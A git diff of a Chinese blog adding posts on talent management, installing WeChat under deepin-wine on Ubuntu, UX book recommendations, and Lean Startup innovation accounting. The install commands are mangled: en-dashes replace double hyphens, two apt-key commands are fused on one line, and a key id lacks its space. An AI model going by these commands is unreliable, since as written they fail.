+为了组织健康发展，李雷给人力资源部下了个死命令：每年的人才流动，不得低于10%，不得高于20%。为什么？不低于10%，是因为“流水不腐、户枢不蠹”，死水滥塘养不活鱼；不高于20%，是因为招人成本高，招错人成本更高，过高流动，会导致企业失血严重。 + +哇，很有道理。人力资源部心服口服，坚决执行。一年后，人才流动确实控制在10%-20%之间，但是，团队的战斗力却明显下降。这让李雷百思不得其解。怎么办？ + +**概念：人才流动** + +李雷深入调查，发现这10%-20%流动的，都是因为有无穷机会而主动辞职的优秀员工，而几乎无处可去的末位员工，居然一个都没走。李雷一口鲜血吐在屏幕上。这个问题的本质是：这10%-20%，不是“人才流动”，而是“人才流失”。 + +末位员工的离职，叫“好流失率”，切掉腐肉，有益健康；优秀员工的离职，叫“坏流失率”，断了手脚，大伤元气。 + +**好流失率，叫“人才流动”；坏流失率，叫“人才流失”。** + +追求稳定是不对的，追求流动也是不对的，追求10%-20%“稳定的流动”还是不对的。对于人才，李雷应该追求的是“降低坏流失率，提高好流失率”。 + +听上去像绕口令，很不简单的样子。可是，具体怎么做？ + +具体，你可以借鉴阿里的“人才盘点”策略。 + +**第一， 区分四类员工：明星，野狗，黄牛，白兔。** + +根据价值观是否与公司吻合（也就是有德），绩效是否与要求匹配（也就是有才），阿里把员工分为四种：明星，野狗，黄牛，白兔。 + +![](/uploads/2020/06/04-01.jpeg) + +有才有德的员工，叫明星。对明星的核心态度，是“捧”，物质上慷慨，精神上表扬，树立榜样； + +有才无德的员工，叫野狗。对野狗限制用，甚至消灭； + +能力差一点但任劳任怨的员工，叫黄牛。老黄牛可以放心用。但黄牛容易“随风倒”，公司明星多，就学明星，野狗多，就学野狗。 + +无才有德的员工，叫白兔。小白兔态度很好，但就是业绩不好。如果常年这样，就是老白兔。老白兔要清理，否则公司就会白兔成窝。 + +一句话总结：捧明星，消灭野狗，清理老白兔，放心用黄牛。 + +**第二， 关注三种人，打好一副牌。** + +第一种人，是你的直接下属，大约5-10人。管不好他们，别管别人。马云说，如果你的下属和老婆离婚了你都不知道，那就是失职了。 + +第二种人，是下属的下属中，20%的优秀员工，和10%的末位员工，大约10-20人。这就和班主任一样，管两头。 + +第三种人，是全公司的明星，大约也是10-20人。这些人是技术专家、核心设计师、明星销售。 + +这三种人加在一起，差不多正好是一副扑克牌。你心中始终有一副牌，就有了人才的全局。 + +**第三， 三年动一动。** + +人才是要流动的。你不想他往外流动，就要让他在内部流动。为什么？因为再有趣的工作，时间久了，也会索然无味。你想杀鸡用牛刀，可是牛刀却想去屠龙。 + +那怎么办呢？阿里有个文化，叫“三年动一动”。当员工随着经验的丰富，走入舒适圈时，就应该动一动位置，晋升或者横向移动，让他一脚在挑战圈、一脚在恐慌圈时，最能激发斗志。 + +这就是阿里的“人才盘点”策略。那么，学习“人才盘点”有什么需要注意的吗？ + +要建立强大的战斗友谊，但不要把公司描绘成家。家不是战斗单元，而公司是。家不会开除成员，而公司会； + +把掌声，给每个努力奋斗的人，但是把80%的奖励，给20%的优秀员工； + +保持和员工的充分沟通，明星，野狗，黄牛，白兔，都应该清楚知道自己的位置。野狗很容易以为自己是明星，白兔很容易以为自己是黄牛。 + +人才可以流动，知识不能。建立知识管理系统，“任人才流，把知识留”。 + +# 参考 + ++ [流动与稳定：捧明星，消灭野狗，清理老白兔，放心用黄牛](https://www.sohu.com/a/353400857_120067725) \ No newline at end of file diff --git a/_posts/2020-08-31-505-wechat.md b/_posts/2020-08-31-505-wechat.md new file mode 100644 index 0000000..fe40224 --- /dev/null +++ b/_posts/2020-08-31-505-wechat.md @@ -0,0 +1,57 @@ +--- +layout: post +title: Ubuntu/优麒麟安装deepin-wine微信的方法 +pid: 505 +tags: [linux] +--- + + + +## ubuntu 16.04及以上可用。 + +# 32位支持 +```shell +# sudo dpkg –add-architecture i386 +``` + +# 添加源 + +```shell +# sudo vim /etc/apt/sources.list +# deb https://mirrors.aliyun.com/deepin/ panda main contrib non-free +# deb-src https://mirrors.aliyun.com/deepin/ panda main contrib non-free +# deb https://mirrors.aliyun.com/deepin/ panda main contrib non-free +``` + +# 保存后为上面的源加入许可证 + +```shell +# wget https://mirrors.aliyun.com/deepin/project/deepin-keyring.gpg +# gpg –import deepin-keyring.gpg +# sudo gpg –export –armor 209088E7 | sudo apt-key add – sudo apt-key adv –keyserver keyserver.ubuntu.com –recv-keys425956BB3E31DF51 +``` + +# 安装微信（2.6.8版本） + +```shell +# sudo apt update +# sudo apt install deepin.com.wechat +``` + +# 更新微信方法 + +```shell +# mkdir /tmp/wechat +# cd /tmp/wechat +# wget https://dldir1.qq.com/weixin/Windows/WeChatSetup.exe +# env WINEPREFIX=~/.deepinwine/Deepin-WeChat deepin-wine WeChatSetup.exe +``` + + +PS：sudo apt-cache search XXX 使用这个命令可搜索软件安装，QQ，TIM，钉钉，迅雷等可自取。 + + + +# 参考 + ++ [Ubuntu/优麒麟安装deepin-wine微信的方法](http://liyyao.com/2020/08/30/linux-wechat/) \ No newline at end of file diff --git a/_posts/2021-01-09-506-UXer.md b/_posts/2021-01-09-506-UXer.md new file mode 100644 index 0000000..2603d4b --- /dev/null +++ b/_posts/2021-01-09-506-UXer.md @@ -0,0 +1,53 @@ +--- +layout: post +title: 用户体验研究从小白到专家：UXer必读的5本书 +pid: 506 +tags: [产品经理] +--- + +# 【入门篇】：自学用户体验研究 + +## 1、《Observing the User Experience》 用户体验设计面面观 + +- 英文原版：https://book.douban.com/subject/11543181/ +- 中文译本：https://book.douban.com/subject/4818690/ + + + +# 【进阶篇】：精进研究方法 + +## 2、《This is Service Design Thinking》这就是服务设计思考 + +- 英文原版：https://book.douban.com/subject/6915786/ +- 中文译本：https://book.douban.com/subject/25908518/ +- 相关网站：https://www.thisisservicedesigndoing.com/methods + + + +## 3、《Convivial toolbox》 + +- 只有英文版，暂时没有翻译 https://book.douban.com/subject/19851051 + + + +# 【战略篇】：让用研同产品开发紧密结合 + +## 4、《Validating Product Ideas》试错：通过精益用户研究快速验证产品原型 + +- 英文原版：https://book.douban.com/subject/26945530/ +- 中文译本：https://book.douban.com/subject/26989980/ + + + +## 5、《User Story Mapping》用户故事地图 + +- 英文原版：https://book.douban.com/subject/26760348/ +- 中文译本：https://book.douban.com/subject/26083649/ + + + +# 参考 + ++ ++ [【书籍推荐】用户体验研究从小白到专家：UXer必读的5本书](https://www.bilibili.com/video/BV1hv411B7jS) + diff --git a/_posts/2021-01-13-507-ai.md b/_posts/2021-01-13-507-ai.md new file mode 100644 index 0000000..55a6c09 --- /dev/null +++ b/_posts/2021-01-13-507-ai.md @@ -0,0 +1,43 @@ +--- +layout: post +title: 认识智能-AI时代下的商业逻辑 +pid: 507 +tags: [产品经理, AI] +--- + +人工智能三要素：算法、算力、数据 + +ABCD“四大技术”，包括A(Artificial Intelligence)人工智能、B(Blockchain) 区块链、C(Cloud Computing)云计算和D(Big Data)大数据; + +在互联网巨头(GAFA，BATJ1)所营造的增值服务和美好体验的氛围下，客户对于金融 业的诉求已不再是简单的“更多产品”或“更高效率”。 + +GAFA意为美国四大科技公司Google, Apple, Facebook和Amazon;BATJ意为中国四大科技公司百度、 阿里巴巴、腾讯和京东。 + + + +![](/uploads/2021/01/13-01.jpg) + + + +![](/uploads/2021/01/13-02.jpg) + + + +![](/uploads/2021/01/13-03.jpg) + + + +![](/uploads/2021/01/13-04.jpg) + + + +![](/uploads/2021/01/13-05.jpg) + + + +# 参考 + + + ++ [认识智能-AI时代下的商业逻辑](https://alanhou.org/yangyang/) ++ [与AI共进，智胜未来：智能金融报告-埃森哲&百度-2020.12-86页]() \ No newline at end of file diff --git a/_posts/2021-01-15-508-TheLeanStartup.md b/_posts/2021-01-15-508-TheLeanStartup.md new file mode 100644 index 0000000..9c6459a --- /dev/null +++ b/_posts/2021-01-15-508-TheLeanStartup.md @@ -0,0 +1,354 @@ +--- +layout: post +title: 精益创业之创新核算 +pid: 508 +tags: [产品经理] +--- + +精益创业 +——新创企业的成长思维 + ++ 用最小的成本和最快的速度试错 ++ 精益创业的核心是验证价值假设和增长假设 ++ 精益创业也适用与创业以外的其他领域 + + + +# 基础概念 + +创新核算：一种针对新创企业和颠覆式创新的核算评估技术。 + +目的：检验一项新业务是否像创业者预期的那样发展 + +特点： + ++ 指标灵活 ++ 侧重衡量企业商业模式是否可行 ++ 每一次方向调整是否正确 ++ 而非是否实现短期盈利 + + + +创新核算基本步骤： + +创新核算是一个对信念飞跃进行验证的过程。 + ++ 确定信念飞跃 ++ 检验信念飞跃是否成立 + + 选择衡量指标 + + 测试 + + 分析结果 + + 达到预期，投放市场 + + 未达预期，调整/转型 + + + +信念飞跃：创业者对新业务前景的大胆预期 + +两类重要的信念飞跃： + ++ 产品对用户是否有价值（价值假设） ++ 是否能够实现足够快的增长（增长假设） + +只有两类假设同时被证实，新创企业才有可能成功。 + + + +确定信念飞跃 + ++ 描述创业构想 ++ 找到实现构想必须满足的条件 + + + +测试 + ++ 基准线测试：对用户开放最小可用品，记录用户行为数据。 ++ 对照组测试：将同一时期的用户分为两组（A组和B组），对A组开放第一代产品，对B组开放第二代产品，通过AB两组数据对比，判断哪种产品效果更好。 + + + +基准线数据：使用第一代最小可用产品（原型产品）得到的数据。 + + + +创新核算的高级应用 + +| 应用一：产品调整评估 | 应用二：企业转型评估 | +| -------------------- | -------------------- | +| 确定调整方向 | 确定调整方向 | +| 评估调整效果 | 评估调整效果 | +| | | +| 对照组测试 | 对照组测试 | +| A组（调整前） | A组（转型前） | +| B组（调整后） | B组（转型后） | + + + +# 第一阶段（发现一个商机） + +创业构想（政治主题社交网络） + ++ 选民认证 ++ 观点分享 ++ 邀请好友 + +实现构想必须满足的条件 + ++ 用户对注册政治社交网络感兴趣 ++ 用户愿意认证选民身份 ++ 用户喜欢在网站上分享政治观点 ++ 用户愿意向朋友推荐网站服务 + +问题：解决公民参与政治流程的问题。 + +产品概念：是一个由经过身份认证的选民组成的社交网络，让关心公民事务的民众汇聚一堂，分享想法并召集他们的朋友。 + + +**信念飞跃** + + + +| **序号** | **假设类型** | **信念飞跃** | **用户行为** | +| -------- | ------------ | ---------------------------- | ---------------- | +| 1 | 价值假设 | 用户对注册政治社交网络感兴趣 | 用户注册 | +| 2 | 价值假设 | 用户愿意认证选民身份 | 用户激活选民身份 | +| 3 | 价值假设 | 用户喜欢在网站上分享政治观点 | 用户活跃 | +| 4 | 增长假设 | 用户愿意向朋友推荐网站服务 | 用户推荐 | + + + +**输入** + +| **输入类别** | **输入值** | +| ------------ | ---------- | +| 费用 | 1200美元 | +| 时间 | 3个月 | +| | | + + + +**输出** + +| **商业假设** | **用户行为指标** | **基准线数据** | +| ---------------------------- | ---------------- | -------------- | +| 用户对注册政治社交网络感兴趣 | 注册率 | 5% | +| 用户愿意认证选民身份 | 激活率 | 17% | +| 用户喜欢在网站上分享政治观点 | 活跃率 | 过低 | +| 用户愿意向朋友推荐网站服务 | 推荐率 | 过低 | +| | | | + + + +**产品调整评估** + ++ 注册率和激活率低的可能原因：操作流程过于复杂。 ++ 调整方向：简化注册和激活流程。 + + +# 第二阶段（对比测试） + +对比测试： 在同一时间内把不同版本的产品提供给两组顾客使用，然后观察这两组人群的行为变化，从而推断不同产品的影响力。 + +针对新产品功能、推广信息以及旨在简化用户使用的产品设计提升，进行对比测试。 + +**输入** + +| **输入类别** | **输入值** | **输入累积** | +| ------------ | ---------- | ------------ | +| 费用 | 5000美元 | 6200美元 | +| 时间 | 2个月 | 5个月 | +| | | | + + + +**输出** + +| **用户行为指标** | **A****组（调整前）** | **B****组（调整后）** | +| ---------------- | --------------------- | --------------------- | +| 注册率 | 5% | 17% | +| 激活率 | 17% | 90% | +| 活跃率 | 过低 | 5% | +| 推荐率 | 过低 | 4% | +| | | | + + + +**产品调整评估** + +调整效果：激活率显著提升，注册率依旧偏低 + +分析判断：注册率偏低可能是因为用户对网站不感兴趣 + + + +# 第三阶段（对比测试） + +继续实行优化、对比测试，同是调整方案。和顾客交流，组织小组讨论，并且继续更多的对比测试。 + +**输入** + +| **输入类别** | **输入值** | **输入累积** | +| ------------ | ---------- | ------------ | +| 费用 | 13800美元 | 2万美元 | +| 时间 | 3个月 | 8个月 | +| | | | + +**输出** + +| **用户行为指标** | **优化前** | **优化后** | +| ---------------- | ---------- | ---------- | +| 登记 | 17% | 17% | +| 激活 | 90% | 90% | +| 活跃 | 5% | 8% | +| 推荐 | 4% | 6% | +| | | | + + + +**产品调整评估** + +通过访谈得知： + ++ 用户喜欢选民认证功能 ++ 用户希望更深入地参政议政 + +调整方向： + +从社交网络**黏着式增长模式**转型为选民和政府代表之间一对一联系平台的**付费式增长模式**。 + +# 第四阶段（放大式转型） + +虽然之前的优化工作提高了一些衡量指标，但总体上，它们并没有朝着可持续的业务模式发展。 + +转型需要我们立足于目前所知所识，同时在战略上作出重大改变，从而寻求更多经证实的认知。 + +放大式转型：重新聚焦在以前产品的一项功能上，把其放大为一个整体。 + +**信念飞跃** + +| **序号** | **假设类型** | **信念飞跃（转型前）** | **用户行为** | **转型后** | +| -------- | ------------ | ---------------------------- | ------------ | -------------------------------- | +| 1 | 价值假设 | 用户对注册政治社交网络感兴趣 | 登记 | 用户对注册**政治联系平台**感兴趣 | +| 2 | 价值假设 | 用户愿意认证选民身份 | 激活 | 用户喜欢认证选民身份 | +| 3 | 价值假设 | 用户喜欢在网站上分享政治观点 | 活跃 | 用户喜欢**联系民意代表** | +| 4 | 增长假设 | 用户愿意向朋友推荐网站服务 | 推荐 | 用户愿意将网站推荐给朋友 | +| 5 | 价值假设 | | **付费** | 用户愿意**为某些服务付费** | + +**输入** + +| **输入类别** | **输入值** | **输入累积** | +| ------------ | ---------- | ------------ | +| 费用 | 30000美元 | 5万美元 | +| 时间 | 4个月 | 12个月 | +| | | | + +**输出** + +| **用户行为指标** | **A****组（转型前）** | **B****组（转型后）** | +| ---------------- | --------------------- | --------------------- | +| 增长引擎 | 黏着式 | 付费式 | +| 注册率 | 17% | 42% | +| 激活率 | 90% | 83% | +| 活跃率 | 8% | 21% | +| 推荐率 | 6% | 54% | +| 付费率 | 不适用 | 1% | +| 生命周期价值 | 不适用 | 极小 | +| | | | + +# 第五阶段（客户细分市场转型） + +衡量指标和产品都在提高，但是提高得不够快。 + +不再依靠活跃的顾客付费来拉动业务，而是针对在政治活动中有专业或商业利益的大型组织、专业筹款机构和大公司。 + +保留产品功能但改变目标受众，将付费人群从普通消费者转向商业和非营利机构。从B2C转向B2B。 + +**信念飞跃** + +| **序号** | **假设类型** | **信念飞跃** | | **转型后** | +| -------- | ------------ | ------------------------------------------------------------ | ---- | ---------- | +| 1 | 价值假设 | 顾客要对注册社交网络有足够的兴趣 | 登记 | | +| 2 | 价值假设 | Votizen要能验证顾客是已注册的选民 | 激活 | | +| 3 | 价值假设 | 在一段时间之后，已认证身份的顾客会被网站中行动工具所吸引 | 保留 | | +| 4 | 增长假设 | 使用网站的顾客会把网站的服务告诉朋友，并召集他们参与公民事务。 | 推荐 | | + +**输入** + +| **输入类别** | **输入值** | **输入累积** | +| ------------ | ---------- | ------------ | +| 费用 | ？美元 | ?5万美元 | +| 时间 | 3个月 | 15个月 | +| | | | + +**输出** + +| | **转型前** | **转型后** | +| ------------ | ---------- | ---------- | +| 增长引擎 | 黏着式 | 付费式 | +| 注册率 | 17% | 42% | +| 激活率 | 90% | 83% | +| 活跃率 | 8% | 21% | +| 推荐率 | 6% | 54% | +| 付费率 | 不适用 | 1% | +| 生命周期价值 | 不适用 | 极小 | +| | | | + +**企业转型评估** + +转型效果：注册率、推荐率、活跃率大幅提升，**付费率很低**。 + +判断：收入无法维持网站运营，需要继续转型。 + +调整方向：继续转型，转变销售模式，从原来的一对一联系平台到一对多群体参与平台。顾客只要支付20美分，我们就会为他找到对该议题感兴趣的选民。 + +# 第六阶段（平台转型） + +尽管开发了所有承诺的功能，但是没有办法收取到费用。 + +拿了投资人的现金就要设法开动增长引擎，不然就得冒着公司关门大吉或自己被淘汰的风险。 + +立即裁员。 + +原来的销售方式是把应用软件每次卖给一个顾客，现在改成自助销售平台，任何人都可以成为顾客，不管你热衷什么事务，都可以登录网站，网站会帮你找到其他新人共同参与。 + +**信念飞跃** + +| **序号** | **假设类型** | **信念飞跃（转型前）** | **用户行为** | **转型后** | +| -------- | ------------ | ---------------------------- | ------------ | -------------------------------- | +| 1 | 价值假设 | 用户对注册政治联系平台感兴趣 | 登记 | 用户对注册**群体参与平台**感兴趣 | +| 2 | 价值假设 | 用户喜欢认证选民身份 | 激活 | 用户喜欢认证选民身份 | +| 3 | 价值假设 | 用户喜欢联系民意代表 | 活跃 | 用户希望**找到共同参与者** | +| 4 | 增长假设 | 用户愿意将网站推荐给朋友 | 推荐 | 用户愿意将网站推荐给朋友 | +| 5 | 价值假设 | 用户愿意为某些服务付费 | 付费 | 用户愿意为某些服务付费 | + +**输入** + +| **输入类别** | **输入值** | **输入累积** | +| ------------ | ---------- | ------------ | +| 费用 | ？美元 | ?5万美元 | +| 时间 | 1个月 | 16个月 | +| | | | + + +**输出** + +| | **转型前** | **转型后** | +| ------------ | ---------- | -------------- | +| 增长引擎 | 付费式 | 病毒式 | +| 注册率 | 42% | 51% | +| 激活率 | 83% | 92% | +| 活跃率 | 21% | 28% | +| 推荐率 | 54% | 64% | +| 付费率 | 1% | 11% | +| 生命周期价值 | 极小 | 每条消息20美分 | +| | | | + +**企业转型评估** + +转型效果：各项指标大幅提升，付费率提高，能实现盈利。 + +# 参考 ++ [精益创业官方网站](http://theleanstartup.com) ++ [我的精益创业](https://www.yixi.tv/#/speech/detail?id=96) ++ [创新核算](http://www.5minutes.com.cn/Web/Course/CourseDetail.aspx?id=8c539a18-fcfa-48ff-b085-3090ee52c9e9) \ No newline at end of file diff --git a/_posts/2021-01-22-509-leanstartup.md b/_posts/2021-01-22-509-leanstartup.md new file mode 100644 index 0000000..ba8f968 --- /dev/null +++ b/_posts/2021-01-22-509-leanstartup.md @@ -0,0 +1,599 @@ +--- +layout: post +title: 如何用“精益”方法让企业少走弯路？ +pid: 509 +tags: [产品经理, 创业] + +--- + +程浩：远望资本创始合伙人、迅雷创始人 + +如何用“精益”方法让企业少走弯路 + +本节课上，程浩老师详细介绍了“精益创业”方法在创业和工作中如何具体应用。如何用“精益”的方法让企业少走弯路。 + +![](/uploads/2021/01/23-01.jpg) + +精益创业三步曲： +1、需求探索；2、用户验证；3推广 + +一、需求探索阶段 + ++ 1、先找到痛点：生活中的痛点无所不在，想象中的痛点和实际痛点往往有很大差别。 ++ 2、常识判断：精益创业不可能把所有不确定的东西都用MVP去验证，需要用常识判断大部分的需求是否值得验证。 ++ 3、头脑风暴：CEO切记要少说，多听，不要急于发表自己的意见。 ++ 4、找到核心用户：谁最痛，谁就是核心用户。 ++ 5、用户访谈：用户访谈有很多技巧，具体说主要有：要面对面访谈；保持开放讨论，不要让用户做选择题；要一对一访谈，而不能是一群人访谈；不要做问卷调查；一定要走出办公室，而不是把别人请到你的办公室里。 ++ 6、做总结：用户访谈结束后需要做总结。调查用户的实际痛点跟你想象的痛点是否一致。 + +二、用户验证阶段 + ++ 1、找到最需要验证的问题：这是需求探索阶段的结果，通过需求探索我们可以获得一个最需要验证的问题或者需求。 ++ 2、针对这个问题设计MVP：设计MVP的核心是快速低成本试错。 ++ 3、收集数据、亲自体验、再次访谈。数据收集的方法主要有漏斗式、切片分析、A/B测试、灰度测试等。 + +亲自体验法则一：数据是辅助，绝对不能替代自己的亲自体验； + +法则二：创业公司的CEO就是首席产品经理。看过数据，也亲自体验过之后，还有一个步骤，我们仍然要做一些用户访谈。 + ++4、总结：验证假设：做完以上环节之后，需要输出一个结论：到底我们的产品是否真的满足了用户的需求？没有满足的话，原因在哪？满足了是否可以进入下一个环节。 + +三、推广阶段 + ++ 第一种方法——黏着式：2B企业使用比较多。对于2B业务来讲，核心指标是损耗率。去年有100个客户用我的产品，今年有几个不用了，如何保持业务的持续增长呢？就是要保证新客户的增长超过老客户的损耗。 ++ 第二种方法——付费式：付费式有一个关键词叫LTV（Life Time Value），就是用户这一辈子会在这个产品上花多少钱。付费式增长最主要的应用领域是在游戏领域。 ++ 第三种方法——病毒式：所有社交网站都是通过病毒式进行传播的。病毒式推广涉及到一个参数叫病毒指数，就是平均每一位用户会带来多少位用户，如果病毒指数数大于1，就会实现快速增长。 + +总结回顾，精益创业有三大步骤： ++ 1、需求探索 +从找到痛点，到常识判断，头脑风暴，找到核心用户，到总结； ++ 2、用户验证 +找出最需要验证的问题，然后设计MVP，然后收集数据，亲自体验，再次访谈； ++ 3、推广 +推广的方法主要包括黏着式、付费式和病毒式。这是今天关于精益创业最核心的内容。 + +------ + +今天，跟大家简单做一个关于精益创业方面的分享。 + +目录 + ++ 01 什么是精益 ++ 02 生活中的精益 ++ 03 精益创业 ++ 04 企业如何转型 ++ 05 如何快速获取用户 ++ 06 精益创业的误区和局限性 ++ 07 企业如何管理内部创新 + +# 01 什么是精益 + +什么是精益？在回答这个问题之前，我想先反问一个问题，任何一门生意，什么是第一重要的？ 我认为**被需要是第一重要**的。任何一门生意只有被需要，才谈得上怎么组团队、怎么做产品、怎么赚钱、怎么增长，如果不被需要，其它一些都无从谈起。 + +![](/uploads/2021/01/20180714-071158_91.jpg) + +但是，想象中的用户痛点跟真实的用户痛点可能有很大的差别。举个非常简单的例子，Google的眼镜，最开始是一群极客的想法，当时想象的Google眼镜的需求是搜索，因为Google就是做搜索的。但结果却完全不同，Google眼镜推出来之后，用的最多的功能其实是拍照和录像，跟他们想象的功能完全不一样。虽然Google眼镜本身是一个2C的产品，但它在很多垂直领域，像医疗、机械等领域反而有很多的应用。 所以即使对于很聪明的人想创业，想象的用户需求跟用户的实际需求可能也是千差万别的。 + +![](/uploads/2021/01/20180714-071158_92.jpg) + +![](/uploads/2021/01/20180714-071158_93.jpg) + +![](/uploads/2021/01/20180714-071158_94.jpg) + +![](/uploads/2021/01/20180714-071158_95.jpg) + +即使用户的痛点我们能找到，而且也找准了，我们还面临另外一个挑战：想象中的解决方案和有效的解决方案，可能也是千差万别的。 + +![](/uploads/2021/01/20180714-071158_96.jpg) + +有没有什么方法让我们一击而中？没有。我们今天讲的不是方法，我们讲的是方法论，怎么能够高效的找到你的最终答案，这个其实是精益的价值。我们认为，**找到最优解唯一的方法只有通过不断尝试逼近最有效的解决方案。** + +![](/uploads/2021/01/20180714-071158_97.jpg) + +如果两个字概括精益是什么？——试错； + +![](/uploads/2021/01/20180714-071158_98.jpg) + +如果四个字概括精益是什么？——快速试错； + +![](/uploads/2021/01/20180714-071158_99.jpg) + +如果七个字概括精益是什么？——**低成本快速试错**。 + +# 02 生活中的精益 + +![](/uploads/2021/01/20180714-071158_101.jpg) + +**每个人在生活中都是精益主义者**，我们在生活中已经对精益非常熟悉了。举个简单的例子：吃自助餐。通常我会怎么吃自助餐呢？会先扫一眼，看看到底有什么东西。然后大概会选5-10样平常比较喜欢吃的东西，每个少拿一点。这些都尝完之后，我会精选2-3样往死里吃。这是不是大家普遍吃自助餐的现状？我很少看到谁吃自助餐会盯着一个食物一直吃。 + +其实吃自助餐从侧面反应了，大家虽然可能对精益创业不熟，但是在生活中大家都是非常精益的。 + +![](/uploads/2021/01/20180714-071158_102.jpg) + +简单总结一下，精益的精髓其实就两句话：**快速的试错和便宜的试错**。 + +# 03 精益创业 + +![](/uploads/2021/01/20180714-071158_104.jpg) + +## 什么叫不精益？ + +精益的背面是不精益，不精益通常有五种可能性： + +![](/uploads/2021/01/20180714-071158_105.jpg) + +**第一种不精益是问题找错了**。问题如果完全没有痛点，或者完全没有需求，可能性也不是那么大。但是痛点不痛，刚需不刚，这对于很多创业者绝对是大概率事件。 + +什么叫刚需？就三点：**极大提升效率、极大降低成本、极大提升用户体验**。效率提升10%，成本降低15%，这都没有意义，这就是在给竞争对手打工，必须得是极大。 + +搜索引擎为什么是刚需，因为它**极大地提升了大家获取信息的效率**； 特斯拉的老板其实还有另外一摊生意叫SpaceX，是一个火箭公司，它的价值是**极大降低成本**。以前发射一颗卫星需要两亿多美金，现在只需要几千万美金。因为他有火箭回收技术，他的火箭可以反复使用，极大降低了成本；在iPad出来之前，没有一个这么简单的产品能让儿童都能这么轻易地使用，这就属于**极大地提升用户体验**。 + +但是在现实生活中，很多产品其实都不够刚需，比如智能手表，从兜里掏出手机看微信似乎也不是那么费劲，追踪自己的睡眠报告似乎也不是刚需。 + +对任何一门生意，刚需是第一重要。**作为投资人，我在与创业者交谈时往往会问五个问题**： + ++ 1、这件事到底刚需不刚需？（消费者需求） ++ 2、这件事的市场空间有多大？（市场规模） ++ 3、这件事怎么赚钱？（商业模式） ++ 4、这件事为什么是你做？（团队、个人优势） ++ 5、这件事的竞争壁垒在哪？（竞争壁垒） + +![](/uploads/2021/01/23-02.jpg) + +而这五个问题中，**是否是刚需永远是最重要的**。你们要仔细思考目前手上做的事，到底是不是刚需的事，如果你找到的是一个不刚需的事情，那说明问题找错了。 + +![](/uploads/2021/01/20180714-071158_106.jpg) + +**第二种不精益是解决方案做错了**。比如你辛苦的做了一个独一无二的可以吹头发的皮鞋，但是发现用户需要的是一个吹头发的手机，这就是解决方案做错了。 + +![](/uploads/2021/01/20180714-071158_107.jpg) + +**第三种不精益是闭门造车**。就是不跟用户接触，期望产品一出来给全世界一个惊喜，结果做出来的东西没人要，白花了半年、一年的时间。这些人的普遍心态是害怕大家把点子偷走，不光是防着BAT，还防着创业公司。我认为这多虑了，原因在于： + ++ 1、大公司反应慢。你可能已经做到一定规模，人家可能才注意到你，而且大公司层级多，动作速度就会很慢很多； ++ 2、大公司只抄确定性的东西； ++ 3、即使踩中了BAT的核心赛道，那就早死早超生，至少比打了两年然后被BAT击败了要好很多； ++ 4、对于创业公司，大家实力都差不多。在中国创业基本上都是商业模式的创新，谁比谁都快不了多少。藏着掖着，怕别人抄你，带来的风险就是你干了一年，这个东西出来没人要，显然后者的风险更大，所以闭门造车是完全没有必要的。 + +![](/uploads/2021/01/20180714-071158_108.jpg) + +**第四种不精益是过早优化**。核心需求还没有被验证，就开始增加一些周边功能。迅雷如果不能证明下载速度比别人快，那去加别的功能没有什么意义。 + +![](/uploads/2021/01/20180714-071158_109.jpg) + +**第五种不精益是过早扩张**。核心需求还没有被验证，就开始考虑规模化。对于软件产品来讲，核心需求还没验证，就去买量，就去做推广；对硬件产品来讲，核心需求还没有被验证，就考虑量产，考虑供应链，考虑建厂。这些都是过早扩张的表现。 + +![](/uploads/2021/01/20180714-071158_110.jpg) + +总结这五个问题：问题找错、解决方案做错、闭门造车、过早优化、过早扩张，把这五个问题放在一起，这张图说明什么问题？圈大小是不一样的，圈的大小代表这个事情的重要性，以及这个事情发生的概率。 + +![](/uploads/2021/01/20180714-071158_111.jpg) + +## 精益能帮你做什么？ + +![](/uploads/2021/01/20180714-071158_112.jpg) + +想跟大家介绍两个概念：**显性成本和隐性成本**。**可量化的成本叫显性成本**，举个例子，员工的工资、五险一金、房租、市场费用等；**隐性成本是指无法被精确计量的成本**，举个例子，沟通成本、培训成本、团队磨合的成本等。**创业公司特别常犯的错误是非常重视显性成本，但是极其不重视隐性成本。** + +![](/uploads/2021/01/20180714-071158_113.jpg) + ++ 1、比如为了降低成本招很多新手，表面上好像省了一些钱，但是新手有培训成本，这个可能没有考虑到，因为培训成本是隐性的，所以你不在意。**精益的方法告诉我们，在招人的时候，通常会招两个熟手干四个人的活，发三个人的薪水。**我要求你高效，但是平均一个人发1.5倍的薪水，使得你在市场上也非常有竞争力。 ++ 2、忽略隐形成本还包括找的办公室过于简陋，面试者都不想进来。建议创业公司要把办公室稍微装潢一下，这样大家对你才更有信心。 ++ 3、还有的人为了省房租，把公司搬到非常偏远的地方。房租是显性成本，一个月省了10000块钱房租，老板挺高兴，但是隐性成本没算。隐性成本是员工每天在路上多跑一个小时。 ++ 4、现在很多公司很聪明，提供免费的午餐和免费晚餐，也有提供免费早餐的。如果没有的话，员工就会到外面吃饭，来回可能半个小时或者一个小时。如果员工把这个时间省下来，那肯定会多干点活，可以足足把公司花的午饭钱换回来，而且提高了公司的美誉度。 ++ 5、忽略隐形成本还包括为了降低成本，到外地开分公司。 在这方面大家一定要慎重，我非常反对创业公司到外地开分公司。**能不能开分公司的核心一定要业务驱动，而不能是成本驱动**。省的这点成本，把你的效率拉低，完全是捡了芝麻丢了西瓜。 + +![](/uploads/2021/01/20180714-071158_114.jpg) + +![](/uploads/2021/01/20180714-071158_115.jpg) + +**讲了这么多，最大的隐性是什么？时间成本，精益创业可以帮你节约时间，减少浪费。** + +## 创业怎么精益？ + +![](/uploads/2021/01/20180714-071158_116.jpg) + +![](/uploads/2021/01/20180714-071158_117.jpg) + +正确的姿势是我们要先有**需求探索**。什么叫需求探索？就是我有一个想法，或者找到一个痛点，或者一个好的解决方案，我用一些非常轻度的东西先去实验一下；需求探索之后，就是用户验证，就涉及到做MVP了，做出一个小实验品，让用户使用，并给出一些真实的反馈；用户验证成功了再去做推广，推广之后会有真的用户需求，我们再继续去验证和探索，这个是一个正确的步骤。 + +## 需求探索 + +![](/uploads/2021/01/20180714-071158_118.jpg) + +需求探索核心就是六件事： + +![](/uploads/2021/01/20180714-071158_119.jpg) + +第一，先找到痛点。生活中的痛点无所不在，举个例子：滴滴打车的痛点是什么？就我个人来讲，特别是过去一两年，我觉得最不方便的地方是司机不认路，我总得给司机指路，这点对我来讲特别不方便；飞机有什么痛点？安检非常麻烦，飞机上没法用网络。 + 